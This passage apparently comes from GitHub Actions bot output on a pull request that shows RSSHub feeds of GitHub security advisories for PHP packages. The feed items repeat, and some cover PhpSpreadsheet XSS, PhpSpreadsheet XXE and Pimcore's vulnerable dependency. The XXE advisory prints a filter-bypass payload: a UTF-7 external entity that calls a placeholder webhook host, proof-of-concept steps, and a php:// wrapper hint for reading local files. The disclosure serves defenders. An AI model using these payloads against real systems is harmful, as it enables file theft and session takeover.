        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-47438&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/reportico-web/reportico/issues/52&quot;&gt;https://github.com/reportico-web/reportico/issues/52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jjf4-959w-f545&quot;&gt;https://github.com/advisories/GHSA-jjf4-959w-f545&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jjf4-959w-f545</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jjf4-959w-f545</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via style information</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;&lt;code&gt;\PhpOffice\PhpSpreadsheet\Writer\Html&lt;/code&gt; doesn&#39;t sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Example target script:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?php
        require &#39;vendor/autoload.php&#39;;
        $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader(&quot;Xlsx&quot;);
        $spreadsheet = $reader-&amp;gt;load(__DIR__ . &#39;/book.xlsx&#39;);
        $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
        print($writer-&amp;gt;generateHTMLAll());
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Save this file in the same directory:
        &lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx&quot;&gt;book.xlsx&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Open index.php in a web browser. An alert should be displayed.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Full takeover of the session of users viewing spreadsheet files as HTML.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45046&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/pull/3957&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/f7cf378faed2e11cf4825bf8bafea4922ae44667&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&quot;&gt;https://github.com/advisories/GHSA-wgmf-q9vr-vww6&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wgmf-q9vr-vww6</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wgmf-q9vr-vww6</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/pimcore] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[pimcore/admin-ui-classic-bundle] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: &lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;GHSA-ghg6-32f9-2jp7&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/pimcore/pimcore/security/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-hq76-662x-7mw4&quot;&gt;https://github.com/advisories/GHSA-hq76-662x-7mw4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-hq76-662x-7mw4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-hq76-662x-7mw4</guid>
      <author>GitHub</author>
    </item>
  </channel>
</rss>

...

@github-actions GitHub Actions
Copy link
Contributor

http://localhost:1200/github-advisor/data/composer - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - composer</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github-advisor/data/composer" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - composer - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Fri, 13 Sep 2024 16:32:36 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[phpoffice/phpspreadsheet] XXE in PHPSpreadsheet encoding is returned</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) &lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Check &lt;code&gt; $pattern = &#39;/encoding=&quot;(.*?)&quot;/&#39;;&lt;/code&gt; easy to bypass. Just use a single quote symbol &lt;code&gt;&#39;&lt;/code&gt;. So payload looks like this:&lt;/p&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://example.com/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. &lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Create simple xlsx file&lt;/li&gt;
        &lt;li&gt;Rename xlsx to zip&lt;/li&gt;
        &lt;li&gt;Go to the zip and open the &lt;code&gt;xl/sharedStrings.xml&lt;/code&gt; file in edit mode.&lt;/li&gt;
        &lt;li&gt;Replace &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&amp;gt;&lt;/code&gt; to&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&#39;UTF-7&#39; standalone=&quot;yes&quot;?&amp;gt;
        +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM &quot;http://%webhook%/file.dtd&quot;&amp;gt; %xxe;]&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;5&quot;&gt;
        &lt;li&gt;Save &lt;code&gt;sharedStrings.xml&lt;/code&gt; file and rename zip back to xlsx.&lt;/li&gt;
        &lt;li&gt;Use minimal php code that simply opens this xlsx file:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre&gt;&lt;code&gt;use PhpOffice\PhpSpreadsheet\IOFactory;
        require __DIR__ . &#39;/vendor/autoload.php&#39;;
        $spreadsheet = IOFactory::load(&quot;file.xlsx&quot;);
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;7&quot;&gt;
        &lt;li&gt;You will receive the request to your &lt;code&gt;http://%webhook%/file.dtd&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Dont&#39;t forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Read local files
        &lt;img alt=&quot;lfi&quot; src=&quot;https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45048&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&quot;&gt;https://github.com/PHPOffice/PhpSpreadsheet/commit/bea2d4b30f24bcc8a7712e208d1359e603b45dda&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&quot;&gt;https://github.com/advisories/GHSA-ghg6-32f9-2jp7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-ghg6-32f9-2jp7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-ghg6-32f9-2jp7</guid>
      <author>GitHub</author>
    </item>
    <item>
